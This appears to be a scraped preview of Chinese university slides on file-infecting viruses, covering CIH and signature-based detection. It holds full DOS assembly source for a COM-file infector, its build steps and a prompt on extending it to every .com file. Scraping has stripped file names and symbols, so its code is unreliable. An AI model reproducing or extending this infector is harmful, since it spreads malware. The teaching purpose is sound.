文件型病毒的原理实例和检测课件_第1页
文件型病毒的原理实例和检测课件_第2页
文件型病毒的原理实例和检测课件_第3页
文件型病毒的原理实例和检测课件_第4页
文件型病毒的原理实例和检测课件_第5页
已阅读5页,还剩39页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、文件型病毒的原理、实例和检测常见的病毒分类文件型病毒引导型病毒宏病毒网络病毒网页病毒(恶意代码)脚本病毒蠕虫病毒邮件病毒木马病毒文件型病毒文件型病毒定义文件型病毒是主要感染可执行文件的病毒,它通常隐藏在宿主程序中,执行宿主程序时,将会先执行病毒程序再执行宿主程序文件型病毒传播方式当宿主程序运行时,病毒程序首先运行,然后驻留在内存中,再伺机感染其它的可执行程序,达到传播的目的文件型病毒文件型病毒的感染对象扩展名是COM或者EXE的文件是文件型病毒感染的主要对象文件型病毒破坏过程系统启动运行.com或.exe文件病毒随文件转到内存对调入内存的新文件实施监控判断新文件是否被感染?判断是否符合病毒触发

2、条件?激活病毒,实施破坏Yes实施感染Yes引导模块破坏模块传染模块文件型病毒文件型病毒类型前后附加型:附加在文件的开头或者末尾覆盖型:覆盖后源文件长度不变,便于隐藏伴随型:文件中插入跳转命令。伴随病毒不改变被感染的文件,而是为被感染的文件创建一个伴随文件(病毒文件)感染COM文件的一种方法 JMP XXXX:XXXX - 原程序 - 病 毒 - 文件型病毒举例CIH主要感染Windows95/98下的可执行文件经历了v1.0,v1.1、v1.2、v1.3、v1.4总共5个版本,危害最大的是v1.2版本,此版本只在每年的4月26日发作当运行了带毒的文件后,CIH病毒驻留内存,再运行其它.exe

3、文件时,首先在文件中搜索“caves”字符,如果没有发现就立即传染CIH病毒发作时硬盘数据、硬盘主引导记录、系统引导扇区、文件分配表被覆盖,造成硬盘数据特别是C盘数据丢失,并破坏部分类型的主板上的Flash BIOS导致计算机无法使用汇编virus代码实例该病毒文件感染的是同目录下名为mycom1的com文件目标文件(要感染的文件):病毒文件:目标文件的asm代码如下: code segment org 100h assume cs:code,ds:code,es:code main proc near mov ax,4c00h int 21h code ends end main本com文件

4、的实际有效指令下面,我们来分析病毒文件的工作过程:读入目标文件()移动文件指针到文件()尾部将病毒体()附加在感染文件()后面移动文件指针到文件()开头将构造好的 JMP 指令写入文件的起始处关闭文件打开目标文件()根据的尾部地址,构造JMP指令(文件尾部是病毒代码的开始处,也就是jmp要跳转到的地址) mov ax,4c00h int 21h : :M文件指针Jmp (pop si) . pop si sub si,offset locate mov ax,word ptr ds:first_3bytesi mov ds:100h,ax mov al,ds:first_3bytesi+2mo

5、v ds:102h,al : : : : : : 1. 打开目标文件2. 读入目标文件3. 移动文件指针 到文件尾部4. 构造JMP指令5. 病毒体()附加在M后面6. 移动文件指针到mycom1开头7. 将构造好的 JMP 指令写入文件指针处(mycom1的起始处)8. 关闭文件补充关于dos功能调用的调用号调用号存入寄存器ax的高8位,也就是ah中,命令为:mov ah, 调用号Dos功能调用以指令以int 21h结束本程序中用到的调用号打开文件:3d读文件:3f写文件:40关闭文件:3e移动文件指针:42接着来看病毒文件的汇编代码code segment assume cs:code,d

6、s:code,ss:code org 100hstart: nop nop nopvstart: call locatelocate: pop si sub si,offset locate mov ax,word ptr ds:first_3bytesi mov ds:100h,ax mov al,ds:first_3bytesi+2 mov ds:102h,al初始工作 mov ax,3d02h lea dx,fnamesi int 21h mov bx,ax mov ah,3fh mov cx,3 lea dx,first_3bytesi int 21h mov ax,4202h xor

7、 cx,cx xor dx,dx int 21h sub ax,3 mov word ptr jmp_3bytesi+1,ax打开目标文件读文件移动文件指针到末尾计算跳转地址,并构造jmp指令 mov ax,4000h mov cx,vsize lea dx,vstartsi int 21h mov ax,4200h xor cx,cx xor dx,dx int 21h mov ah,40h mov cx,3 lea dx,jmp_3bytesi int 21h mov ah,3eh int 21h病毒附加到文件后面指针移动到文件开头写入jmp指令(这条指令覆盖了原文件的第一条指令)关闭文件

8、 mov ax,100h push ax ret first_3byte db 0cdh,20h,0 jmp_3byte db 0e9h,?,? fname db ,0 vsize equ $-offset vstart code ends end start善后工作病毒代码运行后:的第一条语句mov ax,4c00h被jmp 0105语句覆盖的第二条语句后面附加了virus1的代码M没被感染前:M被感染后:附加的病毒代码已被跳转指令覆盖问题:考虑感染的通用性问题,如何感染相同目录下的所有com文件(*.com)?提示:需要遍历查找所有的匹配项(后缀为.com的文件),考虑dos调用4e(查找

9、第一个匹配项)和4f(查找下一个匹配项)MASM使用方法把MASM放在跟目录下例如E:MASM 把编辑好的ASM文件(用TXT文档编写程序,保存.把后缀名TXT改成ASM)放在MASM文件夹下如(E:MASM文件名.ASM)点击开始菜单 .运行-CMD-E:回车-CD MASM回车,进入masm环境编译: - masm 文件名 3下回车连接:-link 文件名 3下回车(本试验中,run file的后缀名exe改为com)运行:-文件名. Com调试: -debug 文件名 . Com调试选项 u:反编译调试选项d:查看内存内容病毒检测方法特征代码法概念:利用病毒留在受感染文件中的病毒特征值进

10、行检测对比文件与病毒数据库中的病毒特征代码,检查文件是否含有病毒特征代码法特征码是什么呢?一串表明病毒自身特征的十六进制的字串比如说,如果在第1034字节处是下面的内容:0 xec , 0 x99, 0 x80,0 x99,就表示是大麻病毒所以,0 xec , 0 x99, 0 x80,0 x99就是大麻病毒得特征码特征码一般都选得很长,有时可达数十字节,一般也会选取多个,以保证正确判断病毒特征码的存储数据结构示例:typedef struct tagVSIGNATURE BAV_SIGN_TYPE eType; DWORD dwOffset; DWORD dwSize; BYTE Signa

11、tureMAX_SIGNATURE_LEN; VSIGNATURE,*PVSIGNATURE;特征代码法某病毒的特征码表示: BS_PHY_FILE, 0, 32, 0 x58, 0 x35, 0 x4F, 0 x21, 0 x50, 0 x25, 0 x40, 0 x41, 0 x50, 0 x5B, 0 x34, 0 x5C, 0 x50, 0 x5A, 0 x58, 0 x35, 0 x34, 0 x28, 0 x50, 0 x5E, 0 x29, 0 x37, 0 x43, 0 x43, 0 x29, 0 x37, 0 x7D, 0 x24, 0 x45, 0 x49, 0 x43,

12、0 x41, 特征代码法以上是病毒的一条特征码,一般病毒会有多条特征码,也就是有多个VSIGNATURE 的结构用一个新的数据结构来把一个病毒的所有VSIGNATURE 组织在一起,这样就构成了对该病毒的完整描述把这些完整的描述用链表组织起来,就是我们的病毒数据库特征代码法特征代码法的优点:检测准确快速可识别病毒的名称误报警率低依据检测结果可做解毒处理是检测已知病毒的最简单、开销最小的方法特征代码法特征代码法的缺点:不能检测未知病毒。不能检查多态性病毒。不能对付隐蔽性病毒。随着病毒种类的增多,逐一检查和搜集已知病毒的特征代码,不仅费用开销大,而且在网络上运行效率低,影响此类工具的实用性附:特征

13、码检测的一个例子不妨设某病毒的特征码表示如下:文件偏移地址0 x0c90提取特征码长度:0 x20(32)特征码内容:0A 73 53 41 2E 65 78 30 5C 5C 31 39 32 2E 31 36 38 2E 30 B0 64 21 73 05 3C 83 98 1B 76 5B 36 8B假设要检测的文件为:c:sampleV.exe用程序来实现,代码如下:# include # includebool scanvir(const char *file,long offset, int length, void *vir);main() int i; unsigned cha

14、r vir=0 x0A,0 x73,0 x53,0 x41,0 x2E,0 x65,0 x78,0 x30,0 x5C,0 x5C,0 x31,0 x39,0 x32,0 x2E,0 x31,0 x36,0 x38,0 x2E,0 x30,0 xB0,0 x64,0 x21,0 x73,0 x05,0 x3C,0 x83,0 x98,0 x1B,0 x76,0 x5B,0 x36,0 x8B; i=scanvir(c:sampleV.exe,0 x0c90,0 x20,vir); /调用查毒函数 if(i=1) printf(警告!发现病毒。n); if(i=0) printf(没有发现病毒。n);待续bool scanvir(const char *file,long offset, int length, void *vir)FILE *fp = NULL; int a=0;char rvir255=0;bool b=false;fp=fopen(file,“rb”); /以2进制打开指定文件if(NULL=fp)goto novir;fseek(fp,offset,SEEK_SET); /把文件指针指向偏移地址fread(rvir,length,1,fp); /读取length长度的代码

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论